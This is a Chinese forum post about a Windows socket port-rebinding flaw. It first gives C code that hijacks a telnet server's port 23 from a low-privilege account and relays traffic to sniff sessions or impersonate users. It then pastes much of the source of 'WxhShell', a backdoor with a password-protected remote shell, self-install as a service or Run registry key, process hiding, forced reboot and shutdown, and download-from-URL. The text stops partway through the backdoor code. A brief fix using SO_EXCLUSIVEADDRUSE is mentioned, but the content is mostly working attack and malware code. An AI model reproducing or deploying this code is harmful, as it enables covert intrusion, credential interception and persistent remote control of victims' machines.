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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: +l2e[P+qA  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); +L`V[;  
B8bvp:Ho|  
  saddr.sin_family = AF_INET; iyA*J CD  
4/*]`  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); E p^B,;~  
J>f /u:.  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 3q'K5} _  
+O|_P`HBoI  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 <ldid]o #  
c+szU}(f6(  
  这意味着什么?意味着可以进行如下的攻击: .Lr`j8  
:@:g*w2K  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 sl~b\j  
$s e !8s"  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) #[no~&E  
DWF >b  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ::p-9F  
&tlR~?$e*  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ,DE(5iDS  
'b LP ~  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 er(8}]X8Q  
I x( 6  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 i FC"!23f  
=^Bq WC2~  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Zr\2BOcc.l  
>=4sPF)  
  #include am]3 "V>  
  #include w0#% AK  
  #include V[#6yMU@  
  #include    \ua9thOG  
  DWORD WINAPI ClientThread(LPVOID lpParam);   kFS0i%Sr  
  int main() jFgZ}Xp  
  { 5/Ydv RB67  
  WORD wVersionRequested; ~&lQNl3`m6  
  DWORD ret; V^j3y`K  
  WSADATA wsaData; ?+3R^%`V  
  BOOL val; G!AICcP^  
  SOCKADDR_IN saddr;  =Ov9Kf  
  SOCKADDR_IN scaddr; 0v;ve  
  int err; ;])I>BT[  
  SOCKET s; dz8-):  
  SOCKET sc; Bfbl#ZkyL  
  int caddsize; x*:n4FZ7b  
  HANDLE mt; P1dN32H o  
  DWORD tid;   !?yxh/>lM  
  wVersionRequested = MAKEWORD( 2, 2 ); gs$3)t  
  err = WSAStartup( wVersionRequested, &wsaData ); _Mlhum t  
  if ( err != 0 ) { x2Ha&   
  printf("error!WSAStartup failed!\n"); jeY4yM  
  return -1; FL59  
  } RwUW;hU  
  saddr.sin_family = AF_INET; wUbmzP.  
   wh9L(0  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 >r~0SMQr  
#X4LLS]VV  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); a a4$'8s  
  saddr.sin_port = htons(23); ! &Z*yH  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,xYg  
  { 2q12y Y f  
  printf("error!socket failed!\n"); N0]z/}hd@  
  return -1; $Xf~# uH  
  } X>2? `8M  
  val = TRUE; 4\v~HFsv  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 &u&2D$K,tp  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)  }K?F7cD  
  { )sqaR^  
  printf("error!setsockopt failed!\n"); 8^i\Y;6  
  return -1; 'zE: fLo  
  } F/)f,sZF  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ki#y&{v9Be  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 K/DH / r  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 #U\$@4D  
t/A:k  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Pv#KmSA9  
  { VcP:}a< B\  
  ret=GetLastError(); 7Ez}k}aR<  
  printf("error!bind failed!\n"); GM:, CJ?  
  return -1; x 96}#0'  
  } l+oDq'[q"  
  listen(s,2); bS,etd  
  while(1) A5+q^t}  
  { ;.\g-`jb  
  caddsize = sizeof(scaddr); r8sdzz%  
  //接受连接请求 yz2(_@R  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ? %93b ,7  
  if(sc!=INVALID_SOCKET) 9-B@GFB;8  
  { D^N[=q99&e  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);  X@cSP7b  
  if(mt==NULL) ?b5H 2 W  
  { g/x_m.  
  printf("Thread Creat Failed!\n");  2mQOj$Lv  
  break; FZeP<Ban  
  } U8E0~[y'  
  } *jGPGnSo  
  CloseHandle(mt); jn~!V!+ +  
  } %t q&  
  closesocket(s); f7.m=lbe  
  WSACleanup(); P7'M],!9w  
  return 0; >)4.$#H  
  }   )4PB<[u  
  DWORD WINAPI ClientThread(LPVOID lpParam) ^[0" vtb  
  { "8FSA`>=  
  SOCKET ss = (SOCKET)lpParam; y`({ .L  
  SOCKET sc; L+7*NaPY*  
  unsigned char buf[4096]; 7$K}qsr<  
  SOCKADDR_IN saddr; n7@j}Q(&?  
  long num; *g*VCO  
  DWORD val; 6`1k ^  
  DWORD ret; ekrBNDs9  
  //如果是隐藏端口应用的话,可以在此处加一些判断 nYhp`!W4;  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   'w:bs!  
  saddr.sin_family = AF_INET; CNq[4T'~A  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); f7ZA837Un  
  saddr.sin_port = htons(23); R#D#{ cC(  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) RTZ:U@  
  { Q~8y4=|#CY  
  printf("error!socket failed!\n"); hc"6u\>  
  return -1; &eU3(F`.  
  } f P+QxOz  
  val = 100; `6UtxJSx  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) hw*1gm  
  {  C[R`Ml  
  ret = GetLastError(); +eC3?B8rN  
  return -1; uC)Zs, _5  
  } _Cj(fFL  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) mLQUcYfR  
  { M= atls  
  ret = GetLastError(); 6oYIQ'hc  
  return -1; pG~'shD~Dn  
  } .ByU  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) b22LT52  
  { RU7!U mf  
  printf("error!socket connect failed!\n"); i]dz}=j'  
  closesocket(sc); IEc>.J|T&  
  closesocket(ss); 4aA9\\hfGY  
  return -1; moaodmt]x  
  } Wy8,<K{  
  while(1) ;KL9oV!<f  
  { p+vh[+yp  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 C>NQ-w^  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 RN vQ  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 D@:"f?K>  
  num = recv(ss,buf,4096,0); j!7Qw 8  
  if(num>0) ZRPE-l_3:  
  send(sc,buf,num,0); my4\mi6P  
  else if(num==0) $ 3]b>v  
  break; tGC2 ^a#~  
  num = recv(sc,buf,4096,0); brfKd]i  
  if(num>0) Ms,@t^nk  
  send(ss,buf,num,0); >J>>\Y(p  
  else if(num==0) "U*5Z:8?9  
  break; YroNpu]s  
  } Y|:YrZSC  
  closesocket(ss); xFU5\Zuw  
  closesocket(sc); [1Uz_HY["3  
  return 0 ; i_NJ -K  
  } fQP,=  
0`6),R'x  
rtus`A5p  
========================================================== 1g~y]iQ  
A*Rn<{U  
下边附上一个代码,,WXhSHELL r,Ds[s)B  
v~f'K3fLp  
========================================================== <&6u]uKrW  
5=Suj*s{D#  
#include "stdafx.h" 8ZW?|-i  
RT/qcS^Oz  
#include <stdio.h> ^j[Ku  
#include <string.h> X5 j=C]  
#include <windows.h> ifvU"l  
#include <winsock2.h> P2t_T'R}  
#include <winsvc.h> E0<)oQ0Xa>  
#include <urlmon.h> "ee'2O  
zA,/@/'(  
#pragma comment (lib, "Ws2_32.lib") aLYLd/ KV  
#pragma comment (lib, "urlmon.lib") dHq#  
McP~}"!^  
#define MAX_USER   100 // 最大客户端连接数 :PUK6,"5]O  
#define BUF_SOCK   200 // sock buffer 6e<^o H  
#define KEY_BUFF   255 // 输入 buffer Gnk|^i;t  
Co[n--@C  
#define REBOOT     0   // 重启 Tt%}4{"  
#define SHUTDOWN   1   // 关机 Nq_A8Ph9  
-Uri|^t  
#define DEF_PORT   5000 // 监听端口 ZL=N[XW4'  
W_%W%i|  
#define REG_LEN     16   // 注册表键长度 ^4 8\>-Q\  
#define SVC_LEN     80   // NT服务名长度 e"~)Utk  
<}]{~y  
// 从dll定义API A4 5m)wQ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Mc:b U  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3p&jLFphL  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ||XIWKF<n2  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); nEyI t&> 9  
SY|Ez!tU:N  
// wxhshell配置信息 VAs ( .y  
struct WSCFG { Y1WHy *s?  
  int ws_port;         // 监听端口 !LiQ 1`V{  
  char ws_passstr[REG_LEN]; // 口令 C.( yd$,  
  int ws_autoins;       // 安装标记, 1=yes 0=no f1J %]g!  
  char ws_regname[REG_LEN]; // 注册表键名 r6MB"4xd  
  char ws_svcname[REG_LEN]; // 服务名 <6R"h-u"  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 R1/q3x  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 GG+5/hU  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 xDUaHE1co  
int ws_downexe;       // 下载执行标记, 1=yes 0=no drIK(u\_  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" y?Onb 3%  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~~q}cywBk  
x9~[HuJ  
}; 4w;~4#ZPp  
,VWGq@o%  
// default Wxhshell configuration #%8 w  
struct WSCFG wscfg={DEF_PORT, g|4w8ry  
    "xuhuanlingzhe", nP;;MX:B  
    1, "wINBya'M  
    "Wxhshell", L+t[&1cW  
    "Wxhshell", p[-{]!  
            "WxhShell Service", k}U JVH21k  
    "Wrsky Windows CmdShell Service", h0lu!m#\_  
    "Please Input Your Password: ", `|?]CkP  
  1, nE7JLtbH  
  "http://www.wrsky.com/wxhshell.exe", SOj`Y|6^:  
  "Wxhshell.exe" X4'kZ'Sy<  
    }; OXCQfT@\  
r0{]5JZt/  
// 消息定义模块 "H?QqrKx  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "{ FoA3g|  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 0;<OYbm3<  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {*$9,  
char *msg_ws_ext="\n\rExit."; auL^%M|$R  
char *msg_ws_end="\n\rQuit."; |Euus5[  
char *msg_ws_boot="\n\rReboot..."; Pr/]0<s  
char *msg_ws_poff="\n\rShutdown..."; 'evv,Q{87  
char *msg_ws_down="\n\rSave to "; fGTOIi@#  
HY*\ k#  
char *msg_ws_err="\n\rErr!"; <xqba4O  
char *msg_ws_ok="\n\rOK!"; hfv%,,e  
7wi%j!  
char ExeFile[MAX_PATH]; Q;wB{vr$  
int nUser = 0; 'F7VM?HBfg  
HANDLE handles[MAX_USER]; N5!&~~  
int OsIsNt; [q3+$W \r  
>)3VbO  
SERVICE_STATUS       serviceStatus; eO[c lB  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; o|rzN\WJn  
P#*n3&Uu  
// 函数声明 c3W BALdh  
int Install(void); gl "_:atW  
int Uninstall(void); HTR1)b  
int DownloadFile(char *sURL, SOCKET wsh); @ae>b  
int Boot(int flag); n|C|&  
void HideProc(void); u5F}(+4r  
int GetOsVer(void); (3W&A M  
int Wxhshell(SOCKET wsl); x5F@ad 9  
void TalkWithClient(void *cs); v|&s4x?D  
int CmdShell(SOCKET sock); =<.F3lo\s  
int StartFromService(void); D:m#d.m  
int StartWxhshell(LPSTR lpCmdLine); 4U{m7[  
+*.1}r&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0Cq!\nzz  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 75AslL?t  
61|B]ei/  
// 数据结构和表定义 mf2Mx=oy  
SERVICE_TABLE_ENTRY DispatchTable[] = JJ-i_5\q  
{ U|?,N0%Z1  
{wscfg.ws_svcname, NTServiceMain}, kFwxK"n@C  
{NULL, NULL} 9|3o<  
}; -_|]N/v\  
zo44^=~%  
// 自我安装 A{(T'/~"  
int Install(void) 41}/w3Z4  
{ 8K^f:)Qw  
  char svExeFile[MAX_PATH]; aDveU)]=1  
  HKEY key;  Q; 20T  
  strcpy(svExeFile,ExeFile); Wj OH/$(  
Rcf=J){D6  
// 如果是win9x系统,修改注册表设为自启动 nq@5j0fK  
if(!OsIsNt) { 5#!ogKQ(i  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [%~^kq=|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [gZDQcU  
  RegCloseKey(key); k%Eh{dA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { WHk/$7_"i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G"> 0]LQ  
  RegCloseKey(key); 2-s7cXs  
  return 0; F[]&1  
    } sg$4G:l  
  } [#Fg\2bq_y  
} ,LZ(^ u  
else { 5~U:@Tp  
xlw 2g<s  
// 如果是NT以上系统,安装为系统服务 p8>R#9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @d)LRw.I  
if (schSCManager!=0) ohsH2]C  
{ qiU5{}  
  SC_HANDLE schService = CreateService .YC;zn^  
  ( VA2<r(y~(  
  schSCManager, ,CKvTxz0  
  wscfg.ws_svcname, QnU0"_-  
  wscfg.ws_svcdisp, r--;yEjWE  
  SERVICE_ALL_ACCESS, B{PLIisc  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9P0yv3  
  SERVICE_AUTO_START, Pgev)rh[  
  SERVICE_ERROR_NORMAL, /RqhykgZ  
  svExeFile, Snx<]|  
  NULL,  #>bT<  
  NULL, X HQh4W3  
  NULL, LzE/g)>  
  NULL, $iHoOYx]<  
  NULL 5p )IV>G  
  ); +V1}@6k :  
  if (schService!=0) 9GPb$ gtx  
  { j{"[Ec  
  CloseServiceHandle(schService); "Z~`e]>  
  CloseServiceHandle(schSCManager); I.9o`Q[8&  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); h!Y?SO.b  
  strcat(svExeFile,wscfg.ws_svcname); Fx5ZwT t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { bg1un@%!l  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $m8leuo)  
  RegCloseKey(key); nuxd S ,  
  return 0; i6PE6> 1/  
    } _>i|s|aW  
  } QT;Va#a  
  CloseServiceHandle(schSCManager); A8!Ed$@  
} k9&@(G[K3  
}  0Ve%.k  
MHl^/e@  
return 1; eE9|F/-L  
} CO'ar,  
-5xCQJ[  
// 自我卸载 1 7i$8  
int Uninstall(void) /x/4NeD  
{ N]u2ql&  
  HKEY key; -ek1$y9)  
m#MlH=-  
if(!OsIsNt) { agW9Go_F[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _uJVuCc  
  RegDeleteValue(key,wscfg.ws_regname); >HIt}Zh  
  RegCloseKey(key); r`[B@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { avBua6i'  
  RegDeleteValue(key,wscfg.ws_regname); '=@r7g.2  
  RegCloseKey(key); P\T|[%E'  
  return 0; 5& *zY)UL  
  } ;Z4o{(/zU  
} <tW:LU(!  
} t9Vb~ Ubdb  
else { YLmjEs%  
jE*Ff&]%m  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ]9@X? q  
if (schSCManager!=0) EZ{/]gCK  
{ Of#K:`1@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); esteFLm`6  
  if (schService!=0) z^3Q.4Qc6^  
  { '%ebcL  
  if(DeleteService(schService)!=0) { Efvq?cG&  
  CloseServiceHandle(schService); CrO`=\  
  CloseServiceHandle(schSCManager); ]hKgA~;  
  return 0; ]4GZ'&m}  
  } RF!'K ko  
  CloseServiceHandle(schService); ZYDW v/u  
  } ]<+3Vw  
  CloseServiceHandle(schSCManager); e2bLkb3c  
} /W0E(8:C)  
} hv{87`L'K(  
}1F6?do3&  
return 1; |i u2&p >  
} k#?| yP:  
P{Lg{I_w.B  
// 从指定url下载文件 SXh?U,5u  
int DownloadFile(char *sURL, SOCKET wsh) %Gu][_.L  
{ Otxa<M+"  
  HRESULT hr; 5Edo%Hd6  
char seps[]= "/"; -)6;0  
char *token; "8?TSm8  
char *file; q- H&5K  
char myURL[MAX_PATH]; Y-= /,   
char myFILE[MAX_PATH]; -~} tq]  
:t%)5:@A  
strcpy(myURL,sURL); dEG ]riO  
  token=strtok(myURL,seps); Fn> <q:  
  while(token!=NULL) Uh%6LPg^  
  { ]'e A O  
    file=token; M=6G:HHY  
  token=strtok(NULL,seps); sNf +lga0  
  } N|$5/bV  
9 R  
GetCurrentDirectory(MAX_PATH,myFILE); aH  
strcat(myFILE, "\\"); kJ__:rS(T_  
strcat(myFILE, file); hm6pxFkX_  
  send(wsh,myFILE,strlen(myFILE),0); 'mUI-1GkT  
send(wsh,"...",3,0); 4@mso+tk  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); /L$NE$D} "  
  if(hr==S_OK) r*]uR /Z$  
return 0; 8 #Fh>  
else &\c5!xQ9*  
return 1;  Zsgi{  
#?Wo <]i  
} XR<G} x  
@ce3%`c_  
// 系统电源模块 CZ2iJy  
int Boot(int flag) 2n(ItA  
{ w_GLC%|7  
  HANDLE hToken; P|8e%P  
  TOKEN_PRIVILEGES tkp; /0l-mfRr  
^H-QYuz:T0  
  if(OsIsNt) { Qj:{p5H'  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .X^43 q  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 9j2\y=<&  
    tkp.PrivilegeCount = 1; `T`c@A  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; NU(^6  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); !YIb  
if(flag==REBOOT) { 5c)<'EP  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) YMK>+y[+4  
  return 0; sjcQaF`=  
} {n6\g]p3  
else { mgxz1d  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {RH*8?7  
  return 0; 'Nw6.5  
} |w4(rs-  
  } ,;c{9H  
  else { 4[Z1r~t\L  
if(flag==REBOOT) { Q Y@nE  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 4V1|jy3  
  return 0; &62` Wr0C  
} p#z;cjfSt  
else { r.9 $y/5  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 8>m1UONr  
  return 0; ;}f6Y['z  
} bYK]G+Ww  
} hg{ &Y(J!U  
M{G$Pk8[  
return 1; 6z PV'~q  
} K/~Y!?:J r  
C_C$5[~-:  
// win9x进程隐藏模块 O4n8MM|`  
void HideProc(void) ]2P/G5C3tU  
{ #c :9 V2  
VGfD;8]z  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); f7S^yA[[  
  if ( hKernel != NULL ) yTP[,bM  
  { -GK'V  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 5vYsA1Z  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3/:LYvM<  
    FreeLibrary(hKernel); >d'EInSF  
  } qq/_yt  
jzQ9zy_  
return; ^971<B(v  
}  KzIt  
G;Us-IRZ  
// 获取操作系统版本 O.dux5lfBd  
int GetOsVer(void) cj`#Tg.  
{ Gi;9 S  
  OSVERSIONINFO winfo; py}.00it  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0@:Y>qVa  
  GetVersionEx(&winfo); O~nBz):2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) v]l&dgoT  
  return 1; \l>q Y(gu  
  else G[y&`Qc)G  
  return 0; ]<Z&=0i#9  
} -aC!0O y`  
t7sUtmq  
// 客户端句柄模块 DS.39NY  
int Wxhshell(SOCKET wsl) :~-)Sm+^  
{ VyRW'  
  SOCKET wsh; dE+CIjW5  
  struct sockaddr_in client; 9UB??049z  
  DWORD myID; -,[~~  
_!| =AIX  
  while(nUser<MAX_USER) <XU8a:w'T  
{ h5<T.vV  
  int nSize=sizeof(client); h 3eGq:!9  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Xqc'R5C w  
  if(wsh==INVALID_SOCKET) return 1; X S6]C{  
f2BS[$oV4  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); WNCM|VUl  
if(handles[nUser]==0) ;GiI'M  
  closesocket(wsh); nLzX Z6JlU  
else V+P8P7y37B  
  nUser++; {hlT` K  
  } 'O!Z:-qE  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); X}_QZO=z  
8}ii3Py  
  return 0; H9.oVF^~  
} aE%eJ)+K  
tU8g(ep,o  
// 关闭 socket !E4E'I=]N  
void CloseIt(SOCKET wsh) Nck!z8  
{ i!s~kk  
closesocket(wsh); f0:EQYYZ  
nUser--; v=dKcruR:  
ExitThread(0); %V@Rk.<  
} 4W[AXDS  
C}t+t  
// 客户端请求句柄 *>?):-9"6N  
void TalkWithClient(void *cs) 5d)'`hACe  
{ ;5,`Jpca  
>OF:"_fh  
  SOCKET wsh=(SOCKET)cs; wghFGHgw  
  char pwd[SVC_LEN]; NN31?wt  
  char cmd[KEY_BUFF]; Dwm@E\^ihm  
char chr[1]; WO.}DUfG+  
int i,j; 'YBLU)v[  
~}hba3&b;#  
  while (nUser < MAX_USER) { ~{52JeUcP  
!gD 3CA  
if(wscfg.ws_passstr) { '8]|E  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &!H~bzg  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >cvE_g"?C  
  //ZeroMemory(pwd,KEY_BUFF); f\U?:8 3  
      i=0; ^bZ<9}  
  while(i<SVC_LEN) { k~'?"'  
l}U~I 3}).  
  // 设置超时 [)C)p*!Y)  
  fd_set FdRead; c,b`N0dOKL  
  struct timeval TimeOut; LAu+{'O\  
  FD_ZERO(&FdRead); 0KWy?6 X  
  FD_SET(wsh,&FdRead); ~v{C6)  
  TimeOut.tv_sec=8; ?qq!%4mTB  
  TimeOut.tv_usec=0; mcAH1k e  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); [Gh%nsH  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); B^Rw?: hN  
$1Q3Y'Q9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F&nMI:h7  
  pwd=chr[0]; ~Q.8 U3"  
  if(chr[0]==0xd || chr[0]==0xa) { Wl9I`Itg  
  pwd=0; a#OhWqu$  
  break; Vq)|gF[6i  
  } #`YxoY`  
  i++; z=- 8iks|  
    } 0+VncL)u  
1@1+4P0NF[  
  // 如果是非法用户,关闭 socket U|y;b+n`  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3:02`;3  
} 6T} CPDRq  
9.MGH2^ L?  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Up1$xLSl  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c(_oK ?  
os "[Iji  
while(1) { =/!{<^0  
 \\E_W9.u  
  ZeroMemory(cmd,KEY_BUFF); V29S*  
`E4!u=%  
      // 自动支持客户端 telnet标准   &y+PSa%n  
  j=0; SSA%1l 2!  
  while(j<KEY_BUFF) { &K}(A{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Nd]%ati?  
  cmd[j]=chr[0]; Qzs\|KS  
  if(chr[0]==0xa || chr[0]==0xd) { ZmR[5 mv@  
  cmd[j]=0; OyG_thX  
  break; 7E\K!v_  
  } n+RUPZ  
  j++; {Vt^Xc  
    } >? A `C!i  
w# gU1yu  
  // 下载文件 z9);e8ck  
  if(strstr(cmd,"http://")) { 8h@)9Q]d\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); l/y Kc8^<  
  if(DownloadFile(cmd,wsh)) 4%#V^??E  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9$4/frd  
  else qMW%$L\HA  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^8f|clw"  
  } edImrm1f  
  else { 99+/W*C  
!lt\2Ae  
    switch(cmd[0]) { `|ck5DZT5L  
  6S+K*/w  
  // 帮助 oE|u;o  
  case '?': { X{9JSq  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); J*6n6  
    break; 2gC&R1 H  
  } 0x9F*i_  
  // 安装 B1i!te}*  
  case 'i': { C.9eXa1wkT  
    if(Install()) )T$f k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M#8Ao4 T  
    else X~Rk ,d3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !=q:> }g  
    break; '#An+;x{  
    } ;&t1FH#=  
  // 卸载 |<+|Du1  
  case 'r': { L]L~TA<D9i  
    if(Uninstall()) @e?[oojrM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Oa_o"p<Lr  
    else -<}>YtB Q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G+QNg .pH  
    break; CrwcYzrRWl  
    } MTFVnoZMQ_  
  // 显示 wxhshell 所在路径 ~XT a=  
  case 'p': { p *W ZY=Q  
    char svExeFile[MAX_PATH]; @qr3v>3X<  
    strcpy(svExeFile,"\n\r"); E't G5,/m  
      strcat(svExeFile,ExeFile);  _.J[w6  
        send(wsh,svExeFile,strlen(svExeFile),0); ~"<VUJ=Ly:  
    break; p?`|CE@h7  
    } +<9q]V  
  // 重启 $=QGua V  
  case 'b': { lj SR?:\  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); uI:3$  
    if(Boot(REBOOT)) |@Idf`N$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #3:'lGBIK  
    else { 39a]B`y  
    closesocket(wsh); ptcH>wM!  
    ExitThread(0); 4f@\f7 \  
    } L8-[:1  
    break; :+dWJNY:  
